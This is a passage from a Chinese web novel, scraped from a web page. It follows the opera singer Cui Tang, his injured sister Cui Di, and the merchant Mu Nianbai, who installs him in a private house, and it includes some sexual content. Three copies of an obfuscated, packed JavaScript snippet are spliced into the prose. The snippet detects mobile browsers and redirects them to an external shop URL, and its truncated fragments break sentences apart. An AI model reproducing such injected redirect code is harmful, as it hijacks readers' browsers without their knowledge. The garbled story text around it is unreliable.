崔棣一番冒冒失失,不知轻重的话让崔棠听得心惊胆战,也就幸好他走得急切,穆府伺候的小厮没跟上来,否则让他们听去,还不知道要闹出怎样的风波来。 崔棠害怕完了,心里又冒起一阵火,他细细打量着眼前的崔棣,十四的人了,脸上早已经褪去了稚气,怎么还是这般莽撞冒失。 在学堂时就常常因为口舌之争与同窗大打出手,惹出许多祸事来。 今日蒙受穆念白重恩,又是借住在人家家里,用着人家的炭火,看着人家的大夫,她竟也这般失礼,在主人家的宅子里说主人坏话。 从来崔棠教训妹妹只有一个办法,只是如今他看着崔棣那张失了血色的惨白面容,只觉得心里疼得要滴血。崔棠心道,左右没让穆念白听见,教训几句也就罢了。 没想到崔棣见他沉默不语,只当他是默认。 她这两天被扣在穆家的学堂,受尽了穆家人的羞辱与耻笑,加之往日她时常听那些穆家小姐吹嘘穆念白的富贵显赫,早已经认定穆念白与穆家是沆瀣一气,商量好了一起欺凌弱小。 她原以为不伤筋断骨出不了那学堂,没想到却是穆念白把自己放了。她根本不信一个豪商大户会对自己如此好心,她看见崔棠脸上细碎的伤口和腕间骇人的淤青,加之回想起方才那张姓管家轻蔑的态度,心中更加认定是穆念白仗势欺人,趁自己落难,威逼利诱,凌辱了哥哥。 她当即要挣扎着下床,发誓不受穆念白这羞辱一般的怜悯。 “哥哥,你不要怕,若真是那姓穆的欺负了你,我就是死,也要把她拉上垫背。” 崔棠终于忍无可忍,方才那点心软都被崔棣这句恩将仇报的话打散了。他只恨穆念白风雅,屋内只陈设着笔墨纸砚,却没给他留件趁手的东西,他总不好拿砚台砸一身伤的崔棣。 崔棠捏紧拳头,上去将崔棣的衣领扯得歪歪斜斜,冲着她的胸口,梆梆梆,结结实实地捶了三拳,直将崔棣捶得直不起腰来。 崔棣吃痛,捂着嘴闷闷地咳嗽了几声,满脸委屈:“无缘无故的,我又没做错事,哥哥打我作什么?!” 崔棠深吸一口气,尽可能的保持平静,可直戳戳点在崔棣鼻子上的手指仍是止不住地颤抖。 “我打你,是因为我供你读书,你却把书读到狗肚子里去了!” 他指着崔棣的鼻子,毫不留情地大骂她:“你还敢说你没有做错事!若非你在学堂里争那些口舌的输赢,莽撞打伤了穆家的小姐,又怎会生出这么多是非!” “若非三小姐怜悯,你我哪还有命在在这里相见?!” 崔棣娘爹早亡,打记事起就是哥哥崔棠把她拉扯大的,因此看崔棠如此动怒,连身上的伤痛也顾不上了,急忙低头认错:“哥哥,我知道错了,你别生气。” 她用一双机灵的眼睛偷偷去瞄崔棠的脸色,又不死心的小声为自己辩解。 “我是不该打她们,可她们说的话实在太难听!” 那些高高在上的大小姐们骂自己是没什么关系的,反正她皮糙肉厚,不会被那些唇枪舌剑伤到分毫。 可她们凭什么辱骂自己的哥哥! 说她坚忍自强的哥哥是一个靠身体、靠床上功夫生活的浪货? 崔棠如何一把汗一把血挣钱供养自己过无忧无虑的生活,甚至还能进学堂读几本圣贤书,崔棣看在眼中,日日都心如刀绞,更不能容忍那些仿佛生来就高人一等的小姐们血口喷人。 打伤了人,崔棣不后悔;可看见哥哥为自己四处奔波,面色苍白,浑身伤痕,崔棣悔不当初。 崔棠当然知道学堂里的人是怎么说自己的,自己有时去给崔棣送汤饭,那些金尊玉贵的小姐们甚至当着他的面编排他的床事。 他在宝家班唱戏,本就惹了一身骚,又不想为崔棣的生活生出枝节,只好在那些人面前百口莫辩。 更何况那夜他跪在穆念白身前苦苦哀求,做的那些事,难道不正坐实了那些人阴暗的猜想。 崔棠抿了抿嘴唇,撩起崔棣额前打绺的刘海,细心为她擦去额上沁出的冷汗。 崔棠温声道:“任那些人怎么说,你别往心里去就是了。她们说得再多,我又听不到。你只管读书习字,等日后天下太平了,考科举,做大官,看她们谁还敢多嘴。” 崔棣看着崔棠脸上的向往与憧憬,不敢反驳,只是苦涩地笑。 她比崔棠读了更多的书,有了更多的见识。她隐约的知道——扬州,甚至整个江南都在几位豪商的把控之下。 她也看不出,她一个穷苦百姓,该如何在被豪商控制的考场上考出名头来。 崔棣见崔棠脸上的怒意逐渐减弱了些,这才敢小心翼翼地询问:“哥哥,我还没来及问,姓穆...” 崔棠冷眼看着她,崔棣急忙改口道:“穆念白...穆三小姐,穆三小姐她...为什么会帮我呢?” 非亲非故的,非但不计较自己打伤了她们家的人,还这样呵护自己。 天下哪有这样的好事? 崔棣心中已经隐隐猜到了什么,只是看着崔棠眼下的青黑与消瘦的脸颊,不敢多言罢了。 崔棠回想着这几日发生的事,只觉得疲惫极了。在最亲近的妹妹面前,他顶在胸口,强撑着的那口气缓缓泄了下去,他软了身子,弯下了腰。 许多事他不想让崔棣知道,只好避重就轻。 “我...为了筹钱,做了错事,闯了祸,差点...差点就要见不到你了...” 提及往事,崔棠不由得有些哽咽,他偏过头,不让崔棣看见自己通红的眼睛,“后来,我去求了穆三小姐...她答应了,帮我平了事,还把你放出来。” 崔棠说得含混不清,略去了许多要紧的事,可崔棣何其早熟,她看着崔棠吞吞吐吐的样子,看着他隐忍不发的神情,她心中如何不明白。 她心中又痛又悔,怔怔地看着自己的哥哥,看他愈发清减的身躯,看他愈发瘦削的脸颊。 两行清泪静静的顺着她的脸颊滑落。 “是哥哥教给我,人要自强,要自立,贵自尊,贵自重。” 可这一切都被她的冲动和任性给毁了! 崔棠以手掩面,肩膀颤抖不停。崔棣眼睁睁看着晶莹泪水顺着他的指缝,洪水一样涌了出来。 崔棠泣不成声,颤声道:“可是我好累...” “崔棣,我好累...” 每天他只要睁开眼,身后仿佛就有许多生长着尖刺的鞭子,不断地抽打着他。 逼迫他为了下一顿餐饭,为了冬日的寒衣,为了崔棣的束脩,为了像人一样活下去,步履蹒跚,却又不能停歇的去挨打、去唱戏、去谄媚,去讨好。 崔棠的声音断断续续:“我好想...歇一歇...” 他伸出袖子,让崔棣看穆念白送给他的新衣。碧色绸缎湖水一般,随着他的动作绽开涟漪一样的褶皱。 他一边流泪,一边勉强撑起一个笑意,“三小姐愿意尊重我,她不曾强迫我,她甚至肯怜惜我的身子,她待我...很好...我想在她身边,好好歇一歇...” 从宝家班那些勾心斗角的缠斗中、从刘卿文阴狠淫靡的眼神中逃脱出来,躲到穆念白为他修筑的金笼里,享受片刻的安宁。 他看着崔棣,几乎是在恳求:“崔棣,你能不能...体谅体谅我?” 崔棣挣扎起身,撑着缠满纱布的身子扑通跪倒在崔棠身前,悔不当初。 “哥哥,都是我不好,都是我的错,我不该和她们置气,不该逞一时的威风,都是我害了哥哥...” 崔棠抱住她的头,失声痛哭,一时间兄妹二人哭做一团。 崔棣不敢看崔棠春泓一样的眼睛里,那浓郁的痴许。她只能一边哭,一边哀求崔棠:“可是哥哥,都说商人重利轻别离,她对哥哥...岂会用真心?” “哥哥,你实在不该将真心都交给她啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282217|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说穆念白是个冷心冷清,唯利是图的商人,她们这般蝼蚁,怎配她用上真情? 崔棠凄惨一笑:“真心这样奢侈的东西,我哪里配有呢?” 真心、喜欢、爱。 这样浓烈又美好的情感,他何时妄想过拥有? 在崔棠为数不多的生命里,影响他最大的情感只有恐惧。 ——恐惧饥饿,恐惧严寒,恐惧疾病,恐惧连小楼不止不休的责打,恐惧刘卿文的粘腻湿滑的眼神。 他何曾敢喜欢过什么?不过是什么能让他活着,他就不得不为之拼命罢了。 崔棠用手背胡乱抹去脸上的泪水,捧着崔棣的脸颊,也抹去她面上凌乱的泪痕,他惨然一笑,聊胜于无地安慰她:“你不必为我揪心,我在宝家班唱了这些年,我晓得轻重。” “如今三小姐待我尚有几分怜悯,我又尚有几分颜色,不过是先奉承着她,多从她手里讨些银子,能在她厌弃我之后,供你我生活罢了。” “她图我颜色,我图她钱财,不过各取所需,到时一拍两散罢了。” 崔棣看着自己哥哥,很想问一问他,你的这番话,你自己信几分? 可她不敢。 ...... 穆念白挑挑拣拣,在自家库房里挑了些舒筋活血,接骨生肌的补品,她想着崔棣在学堂里被人围攻,又被人凌辱,这些东西总归能用得上。 张管家一步不离地跟在她身后,一言不发,面沉如水。 穆念白回身看了她几眼,知道她颇有几分情绪,于是轻轻地问:“何事让张管家如此烦恼啊?” 张管家板着脸,开门见山。 “第一件事,是三小姐您不必为那个崔棠准备这些好东西。” 穆念白以为她在为崔棣冒失的态度动气,于是笑着劝她:“崔棣不过十三四,言语冒犯也是常事,你何必和她过不去呢?” 张管家确实和崔棣崔棠两个人过不去,可这么说却另有缘由。 “方才大夫看过了,崔棣那妮子皮糙肉厚得狠。” “被十几个女郎围攻,打折了两个人的手,其余人也是头破血流,鼻青眼肿。她自己却只是挫伤了胳膊,受了些皮外伤,不过是饿得很了,才看上那么虚弱的。” “大夫说她青春正好,不必吃这些补品,只好好休息便能大好了。” 穆念白有些目瞪口呆地看着她,惊诧道:“以一当十,还不落下风,这几乎可以和当日的沈王比肩了。” 当日沈王不就是靠巷战之中,只靠一根铁棍,从仇家中杀出一条血路才声名鹊起,就此发迹的吗? 张管家却不理她,自顾自道:“第二件事,便是三小姐对那个崔棠实在优待太过!” 穆念白心中好笑,反问道:“优待太过?对崔棠?” “我何时优待过他了?我送他的那些东西,做的那些事,不过都是顺手而为,举手之劳罢了,何时让我自己为难过?” 张管家不苟言笑,絮絮叨叨:“可您肯放他进府,已经十分不寻常。他晕倒时,您还亲手照料他。” 张管家似乎已经笃定她对崔棠起了别样的心思,忧心忡忡道:“您从未待旁人这样过,您为走到这个位置吃了多少苦,穆府上下都看在眼里,我们害怕,您会为这一个居心不良的狐媚男子,错付真心。” 穆念白更加莫名其妙,垂着眼,在手上把玩着一支方才从锦盒中取出来的缠丝点翠金步摇,她拨弄着从步摇上垂落的长串流苏,眼神平静。 “张管家,你何时见我动过真心?” 张管家还想再说,穆念白断然打断她,无情道:“不过是看他有几分好颜色,当个鸟儿雀儿养在笼子里逗乐罢了。” “张管家何必忧心呢?” 说罢,她命人拿好自己挑选好的东西,跟在自己身后,一路向崔棣所在的西厢房去了。 还未进门,隔着一层珠帘,便听见那一对兄妹正哭做一团,互诉衷肠。 15. 泼辣的小外室 穆念白沉着脸听了一会,本就不见喜怒的脸上现出愈发冰冷的神情。 穆念白撩起珠帘,大步进去。 剔透的琉璃珠相互碰撞,发出风铃一样清脆的声响。 崔棠转过身,匆忙用手指揩去眼角泪珠,吸了吸鼻子,神情慌张,惴惴不安地看着穆念白,在心中猜测着她听到了多少。 穆念白心中原本是有些生气的,这只小鸟在自己面前装的那样乖顺,私下里竟然在想着一拍两散的事。 她伸出手,原本是想掐住那只小鸟纤细易折的白瓷脖颈,稍微给他个教训的。可是当崔棠的眼睛看过来,她忽然改变了主意。 那双明亮的眼睛水光潋滟,眼尾通红,像捈了胭脂一样艳丽动人。浓黑纤长的睫毛上还挂着钻石一样闪烁的泪珠,随着他惊慌的动作,一颤一颤,欲坠不坠。 于是穆念白伸出去的手拐了个弯,轻轻覆上他的脸颊,温柔地擦去他脸上的泪痕。 她垂下眼,在心里轻轻地笑——有什么关系呢?她难道不也是那么想的吗? “和你妹妹说什么呢?怎么哭了一脸的泪?” 崔棠吸了吸鼻子,哭得哽咽抽搐,只能捂着心口,牵起嘴角,勉强露出一个笑,他贴着穆念白的掌心,用脸颊讨好地撑着她粗粝的掌心,崔棠捧住穆念白的手掌,软着嗓子,小心翼翼地说:“不过是混说些胡话...” 他抬眼观察着穆念白的神情,见她神色温和,不似动怒,高悬的那颗心才缓缓放回心底,崔棠继续道:“三小姐就算听见了,也不要当真,我们一个男子,一个小孩,说的话都不作数的。” 穆念白没把他这些小心思放在心上,只是顺手狠狠掐了他柔软细嫩的脸颊一把,看着崔棠吃痛,瘪着嘴捂着脸颊在一旁悄悄嘟囔的样子心情大好,便也不再计较崔棣言语上的冒犯了。 她命跟来的小丫头把补品伤药放到床头,看向崔棣,淡淡地叮嘱:“你哥哥养你到这么大不容易,你心里也应该有些思量,做事前仔细想想,不要让你哥哥犯难。” 面对穆念白,崔棣还是觉得有些难堪,她默不作声地钻进被子里,将头一扭,装作疼痛难忍地皱起眉,对穆念白的话语置若罔闻。 穆念白见她不领情,也不在意,只是冷哼一声。崔棠却干脆利落地上手,拧着她的耳朵将崔棣从床上拽了起来,押着她向穆念白行礼。 “你这么大的人了,这点礼数都不知道吗?不论其他,你总该谢过三小姐对你的救命之恩!” 崔棣捂着通红的耳朵,看着崔棠凌厉的神色,也不敢喊痛,只能委屈道:“我知道了,我这就谢。” 崔棣咬着嘴唇,神情复杂地看着穆念白,穆念白环抱双手,老僧入定一般平静地看着她。崔棣被她看得心里打鼓,终于还是低下头,磕磕绊绊地说:“多谢...多谢三小姐。” 崔棠揪着她的耳朵,咬牙切齿地教训:“大声些!和人打架时不见你这样扭捏!” 这样泼辣的崔棠穆念白还是第一次见,她觉得新奇极了,一边笑着观察这只小鸟脸上鲜活灵动的小表情,一边毫不留情的点透崔棣的心思。 “你觉得我仗着钱财,威逼利诱你哥哥,可你怎么不想想你哥哥为了你叫天不用,叫地不灵的时候唯一一个愿意帮他的是谁?” “你哥哥告诉你他为了你受了什么罪了吗?” 崔棠急忙伸手拉住她的袖口,满脸乞求地向她摇头,穆念白捉住他的手,拢在掌心里,随意得搓捻着,她看着一脸茫然的崔棣,冷声道:“你瞒着她,她未必领你的情,不如如实告诉她,好让她长个教训,以后冲动之前,三思而后行。” 穆念白看向崔棣,满脸悲悯:“你哥哥为了你,差点变成挂在刘卿文家里的一副人皮画,即使如此,你仍旧觉得是我威逼利诱了你哥哥吗?” “我是见你哥哥姿容出众,才貌俱佳,起了心思,但我也实打实地帮了你们兄妹二人,你读了这么些年书,难道只学会了恩将仇报四个字吗?” 崔棣只是听着,便打了个寒颤,不敢细思穆念白话语中的深意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282218|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 崔棣羞愧地低下头,涨红了脸,挣扎半天,认错道:“是我不懂事,误会了三小姐,对不起。”她悄悄打量着穆念白的神情,期期艾艾道:“还请三小姐不要因为,怪罪我哥哥。” 穆念白不想和一个半大的孩子计较,嘱咐了跟来的小丫头几句,让她帮着崔棣换药,自己则拉着脸颊羞红的崔棠绕过回廊,到正厅去了。 穆念白用手背碰了碰崔棠火热滚烫的脸颊,微微蹙眉:“脸怎么突然这么烫?” 崔棠满心只有穆念白方才的话——“是见你哥哥姿容出众,才貌俱佳,起了心思。” 她究竟起了什么样的心思,和自己的心思是否一样呢?崔棠胡思乱想着,脸颊因为羞怯烧得绯红。 崔棠飞快地摇了摇头,胡言乱语几句,把穆念白糊弄过去了。穆念白笑笑,并不戳破他的心虚,她拉着崔棠坐到铜镜前,站在他的身后,伸手捧住他小巧精致的下巴,将挑好的那支缠枝点翠金步摇不偏不倚地插在崔棠墨黑的鬓发旁。 如瀑长发垂至腰间,只在耳边缀一只展翅欲飞的翠鸟,日光偏移,点翠的羽毛上流淌过璀璨的光芒。翠鸟口衔一串珍珠串,大大小小的珍珠垂落在崔棠脸颊一侧,日光一照,在他秀美的脸颊上落下几颗诱人的阴影。 崔棠看着镜中的自己,一时也有些呆了。 穆念白俯身低头,凑在他的颈边,与他一起观赏镜中的美人。 穆念白笑了笑,捏了捏他的脸颊:“很漂亮。” 崔棠红着脸点了点头,心中却如擂鼓一样。 穆念白继续对他说出自己的安排:“这两天事多,叶问道马上就到扬州,许多事需要我去安排周转,还要在家里会客商谈,许多事你和崔棣都不方便听。我在隔壁巷子还有套私宅,已经命人去收拾了,你暂且先住在那里,我得空就去看你。” “你若有要紧事,遣个小厮过来找我就行。” 崔棠愣愣地看着她,在心里轻声问。 自己这是...被穆念白金屋藏娇了吗? 16. 搬家的小外室 穆宅上下的仆人们受穆念白潜移默化的影响,皆是干脆利落、手脚麻利的人。到傍晚时,就已经将旁边巷子里那进小院打理出来了。 崔棠虽是不舍,但从中午起,就有源源不断的信笺消息飞一样的堆到穆念白桌案上,一张摞一张,竟也垒得小山一样高。 穆念白只陪他简单用了午膳,便像座雕塑一样端正地坐在案后一动不动,只有时不时蹙起的长眉在提醒崔棠,这里还有个会喘气的活人。 崔棠看着穆念白因为劳心劳神而染上一层疲态的面容,虽有心想找个借口多看几眼那一张虽疲惫,但更显温情的面容,但张管家还虎视眈眈地守在一边,像看贼一样满眼戒备地看着他。 崔棠悄悄撇了撇嘴,扭过头去躲开张管家责备的目光。纵他心中有再多的不舍,也只能乖巧听话地跟穆念白告别去了。 穆念白见他来,竟难得地将手里的账本搁到一边,紧绷了一下午的脊背明显地放松下来,她慵懒地倚着宽大厚实的椅背,宽大衣袖浸满檀香,举手投足间就勾去了崔棠全部的心神。 崔棠一心一意地嗅穆念白身上宁静悠远的冷香,连她说了什么都忘了听,待他回过神来时,才恍然发觉穆念白颀长匀称的身形已经近在眼前了。 穆念白看他呆呆的小模样,心中生出几分喜欢,便像哄小孩一样伸手在他眼前晃了晃。 “想什么呢?那么入神?连我的话都敢不放在心上了?” 崔棠看着她嘴角清浅的笑意,心中忖度她的心情也许不差,便大胆地狡辩起来:“三小姐的话,奴怎敢不听呢?” 他见穆念白脸上就差将“不信”二字写在脸上了,急忙举起手指发誓:“三小姐的每一句话,奴都会牢牢记在心里的!” 穆念白收敛笑意,握住他的手指,将他竖起的纤长指节掰到掌心中,轻轻揉搓着他关节处细腻如丝绸的皮肉。 穆念白垂着眼轻声说:“诺不轻许,许则为之。以后少郑重其事地发这种做不到的誓。” 自己的小聪明又被她拆穿了,还挨了好大一通教育,崔棠羞窘得脸颊通红,仲春的蔷薇一样娇艳。他臊眉耷眼地低着头,点着脑袋应下,做出虚心受教的样子。 穆念白却已经遣人去庭院中折了几枝晚开的红梅过来,用油纸抱着让崔棠抱在怀中。 她继续刚才的话题:“今日忙得很,没来及给你找礼物,就用这几枝梅花了贺你乔迁之喜吧。” “过来,我送你过去,也好让你认一认路。” 未等崔棠反应,穆念白就已经伸手牵起他的手,两只手紧紧叩在一起,崔棠甚至能透过那一层粗粝的皮肤,感受到穆念白血脉的跳动。 崔棠下意识地摸了摸自己的脸颊,好像也被穆念白温热的掌心烘得滚烫。 穆念白害怕他担心崔棣,继续温声解释:“张管家会安排人也将崔棣安安稳稳地送过去的,不必担心。” 崔棠这才反应过来——原来他还有个卧床不起的妹妹。 他不由得在心里小声嘀咕,都怪穆念白,青天白日的熏什么檀香,熏得人头晕目眩,光顾着想入非非了。 这些倒反天罡的小心思自然不敢漏到面上叫穆念白知道,崔棠只是任由穆念白搓捻着自己柔弱无骨的手掌,像只小鸟一样,亦步亦趋,紧紧地跟在穆念白身后。 穆念白高大结实的身躯为他挡住凛冽的寒风,他被穆念白的影子笼罩着,心中只觉的安宁平静。 ...... 两座宅子只隔了一道墙,若是穆念白愿意,甚至可以攀过朱红的高墙翻到崔棠的小院里来。 一进的小宅院,不大,但容下崔棠崔棣和穆念白拨来照顾她们的小厮还是轻而易举。 进门左手边种着一棵梨花,虽还是光秃秃的,但崔棠仿佛已经看见了穆念白一身素衣,站在满树雪白梨花下端庄持重的模样。 正对院门的影壁上绘着青绿淡雅的山水,崔棠装模做样地鉴赏了一会,就被看不下去的穆念白拉着进去了。 正中一间宽敞明亮的堂屋,坐北朝南,留给崔棠招待自己正合适。东西两间厢房正好住下崔棠兄妹二人,另外还有二房两三间,或留给过来伺候的小厮,或充作小厨房,留给崔棠发挥。 院中还有一座小花圃,已经拔去了杂草,种上了些容易活的花苗。 穆念白偏头问崔棠:“喜欢吗?” 崔棠已经看呆了,比他赁的窝棚好上千倍万倍,又不似穆宅那样金碧辉煌,让人觉得身在梦中。 他第一次有了家的感觉。 崔棠指着那处小花圃,小心翼翼地问:“奴想在那种点菜,可以吗?” 穆念白失笑,点了点头:“这院子都是你的,自然你想种什么种什么,不过一日三餐我都会叫人送过来,倒是无需劳动你。” 穆念白拉起他的手,指向正中堂屋,轻笑着问:“进去看看?” 不用她提醒,崔棠已经提着衣角,一路哒哒哒地跑了过去。 他踮起脚,将怀中捧了一路的梅花小心翼翼地插进多宝阁正中那一尊青绿冰裂纹细口瓷瓶里。 娇艳红梅凌寒而开,为古拙简朴的内室添一抹耀眼的亮色。 崔棠回到穆念白身边,拉起她的手,将自己的脸颊小心地贴在她的掌心,他满眼含笑,眉眼都弯成漂亮的月牙,露着一排洁白皎洁的贝齿,感激地看着穆念白。 “奴多谢三小姐的心意...谢谢三小姐给了奴一个家。” “若没有三小姐,奴到今日,还是一只丧家之犬呢。” 穆念白随手揉着他柔顺的发顶,轻声一笑:“既懂得我的心意,就好好帮我办事。” 崔棠笑着应下:“是,奴一定会帮三小姐把事办好的,就是天上下刀子,奴也会将那一出穆桂英挂帅唱好的!” 穆念白笑笑:“我岂是那样不通情理的人?” 她又想起一事,细细嘱托:“我有个得力的下属,叫宋好文,她亦养了个男人,叫秦可心的,就住在隔壁院子里,她不多日就要回来,你也能见到你的邻居了。” “秦可心性子活泼跳脱,喜欢交朋友,你平日若是寂寞了,只管去寻他玩就是了。” 她这些天早已经看出来了,崔棠在宝家班里就受尽冷眼,没人愿意待他以诚。平日里也不见他有三两好友。穆念白就想给这只孤零零的小鸟找个伴。 崔棠心中惴惴的,他总是为生计所迫,还从来没交过朋友呢。 穆念白摸了摸他的脸颊,放缓了声音:“你在我身边,总该认一认这些人。” 崔棠这才缓缓点头,却在心中打定了主意,不管那个叫秦可心的是平易近人还是咄咄逼人,自己也要为了穆念白的心意,小心忍耐,用心结交。 府中还有许多俗物等着穆念白回去处理,穆念白只陪他小坐片刻便回去了,正巧张管家遣人将崔棣抬过来了,崔棠便和穆念白指派过来的,那个叫晴儿的小厮,一起合力给崔棣换药擦洗。 穆念白回府时看见一架熟悉的青棚马车停在老位置上,她一笑,知道是宋好文回来了。 宋好文进穆宅和进自己家没什么区别,既不用通传,也不用下人伺候,已经自己将穆念白珍藏在上了锁的匣子里的西湖龙井泡好,抱着紫砂壶毫无风度可言地牛饮一番了。 宋好文今日穿一身湖蓝骑装,墨色腰带上悬挂一柄半人高的长刀。劲瘦腰身结实有力,猿臂蜂腰,眉眼硬朗坚毅,眯起眼来一身凶悍的杀气,一看就是经年刀尖上舔血讨日子的人。 宋好文若是端端正正地站着,也能闭着眼睛夸一句一表人才。偏偏此人从来没个正经,站没站相,坐没坐相,大咧咧地翘着腿,将沾满泥点子的羊皮软靴搁在穆念白梨花木的桌案上晃来晃去。 她一边抱着紫砂壶,喝酒一样喝一两千金的茶叶,一边信手将穆念白归置得整齐干净的账本翻得凌乱狼藉。 穆念白闻到那抹浓郁茶香时就心道不好,自己藏得那样小心,还小心翼翼地上了三把锁,还是被她给摸出来了。 穆念白看着乱糟糟的桌案,拿宋好文没办法,只能认命地叹了口气,一边把宋好文驱赶下来,一边大声地抱怨:“你一来,我这家里就和被狗啃了一样!” 宋好文也不恼,怀里揣着紫砂壶,笑呵呵地看她收拾:“我不仅啃你的家,我还把西北氐族的生意啃回来了,我还帮你把叶问道啃下来了呢。” 穆念白挑眉,送她怀里抢过茶壶,也豪爽地对嘴喝了起来,穆念白一抹嘴,坐下筹谋。 “这么快?她不是还有几日才到扬州吗?” 宋好文解释道:“叶问道是个戏痴,也是个武痴,一路南下,也一路切磋,我打听到她落脚的地方,过去和她切磋了一场,虽然输了,但她对我很感兴趣。” “我就和她说,等来了扬州,把你介绍给她,不仅有天底下一顶一的戏听,还有天下一顶一的高手和她切磋。” 穆念白无奈地问:“一等一的戏我能找着,一顶一的高手我上哪找去?” 宋好文撞了撞她的肩膀,挤眉弄眼地笑:“自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282219|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是穆老板您了。” “您装了这几年儒商,不会把吃饭的看家本事都忘了吧?” 穆念白虽被她撞着,却不动如山,她轻声笑了笑:“也是。” 叶问道南下扬州是一桩大事,二人凑在一起,点灯熬油熬到后半夜才将诸事都议定。宋好文撑着下巴打了个哈欠,看着一脸肃穆的穆念白,怪笑着问:“听张管家说,你最近养了个不太安分的在旁边院子里?” 穆念白扫她一眼,云淡风轻地回答:“不过养了只鸟儿在笼子里,也值得你们这样问。” 宋好文敲着桌面,笑眯眯的:“这不是好奇吗,穆家送的那么多男人,竟然都比不过这一个,我自然好奇他是怎样的花容月貌,才能将你勾的意乱神迷了。” 穆念白睨她一眼。随口解释:“不过是看他还有点用处,暂时养着罢了。” 她忽然想起什么,补充道:“对了,秦可心是不是也回来了?你回去告诉他,让他明天去找崔棠,他们二人年纪相近,应当能当成朋友。” “崔棠那日说想读书习字,他的身份找女塾师恐怕要遭人白眼,正好秦可心颇通诗书,才冠扬州,你让他没事也教一教崔棠。” 宋好文啧啧称奇,穆念白皱着眉头看她:“你笑什么?” 宋好文摊手,耸肩摇头,学穆念白淡然的语气:“不过是看他还有点用处...啧啧啧,暂时养着罢了...啧啧啧,暂时养着。” 她养秦可心,哪有这么费心? 穆念白被她戳破心思,忍无可忍,把她撵出去了。 扬州城里巡夜的卫队全靠几家豪商养着,见有马车从穆府门前出来,也只当没看见,让宋好文夤夜回了自家小宅院。 秦可心正托着腮坐在桌子边,伸着一只瓷白的小手,百无聊赖地剪烛芯。 小巧精致一张脸,雪白的皮,粉红的唇,两腮不经粉饰,也像桃花一样的娇嫩。他熬了大半夜,无聊得哈欠连天,圆滚滚的杏眼里就染上一层亮晶晶的水光。 他听见门口吱呀一声,知道是宋好文回来了,急匆匆地凳子上蹦下来,兔子一样撞到宋好文腰上。 他搂着宋好文结实的腰撒起娇来:“你怎么才回来?我等你等得好无聊!” 宋好文被他撞了个趔趄,又无可奈何,只能一边将氅衣解下来把小小一只的秦可心护在怀里,一边和他说穆念白的嘱托。 宋好文捏捏他肉乎乎的小手,问:“听明白了吗?” 秦可心又打了个哈欠,拉长声音:“听—明—白—了—我明天一早就找他玩去。”他将脑袋贴在宋好文腰上蹭来蹭去,眯着眼睛笑:“你让我等了这么久,你得补偿我!” 宋好文硬朗的脸颊上浮上薄红,底气不足的小声呵斥:“什么时候了还想着这些!” 秦可心悄咪咪地凑在她耳边,轻悄悄的气声像羽毛一样在宋好文耳边拂过:“天越黑,才越好看呢。” 宋好文静静看他一瞬,下一秒便将他拦腰抱起,抗在肩上,不顾他一双脚踢来踢去地挣扎,将他扔在榻上,开始宽衣解带。 “你不后悔就行。” ...... 崔棠第一次睡在这么温暖柔软的被褥里,本来睡得香甜极了,深更半夜却被隔壁院子的一阵噪音吵醒了,他支着耳朵听了一会,却听得面红耳赤。 又是摇床,又是哭喊,湿漉漉的男声,又乖巧又软糯,哑着嗓子,一边叫一边喘。 崔棠想到穆念白说的,虽是愤懑,却不好发作,只好用蓬松的新被子捂住耳朵,只当是耳不听,心不烦。 他努力的闭上眼睛,想要重新回到香甜的睡梦中去。 眼前原本漆黑一片的空间却凭空现出穆念白那张英气逼人的脸。 淡漠的凤眸,紧抿的唇,和凌厉又冰冷的目光,扫在自己身上,却像火一眼,点燃了些奇怪的东西。 他好像又回到了那一夜,赤身裸体地跪在她的身前,被她用脚尖挑起下巴,被迫仰着脸看她。 她衣领微敞,露出一段曲线凌厉的锁骨,她用冷漠的眼眸无情地盯着自己,却抬脚将自己踹倒在冷硬的玉石地面上。 冰凉的指尖抚摸过他每一寸皮肤,却像火一样将他烧得通红滚烫。 那只手和它的主人一样无情,或掐或捻,总会在他身上留下一串鲜红又艳丽的花朵,就像多宝阁上插着的那朵红梅。 那只手不带感情,一路向下... 崔棠猛地睁开眼睛,从床上坐直。 他彻底睡不着了。 17. 交友的小外室 崔棠一宿都不得安宁,眼一闭,穆念白那双似笑非笑的凤眸就悔突然出现在眼前,用淡然的眼神上下打量他好似赤裸的身躯。 像有人拿一支毛笔,沾了水,用柔软冰凉的笔锋轻轻在他细嫩的皮肉上擦蹭。 身体里好像烧起了一把火,灼烫的温度从腹部下方一寸寸蔓延到四肢百骸,将他蒸出了一身汗,酷刑一样折磨着他。 他躲在被子里,虾子一样弓起了腰,缩成小小一团,紧紧咬着嘴唇,恨不得将它咬出血来,刺痛从嘴上传来,崔棠犹觉不够,用力掐住自己腰侧的软肉,掐出青紫也不敢放手。 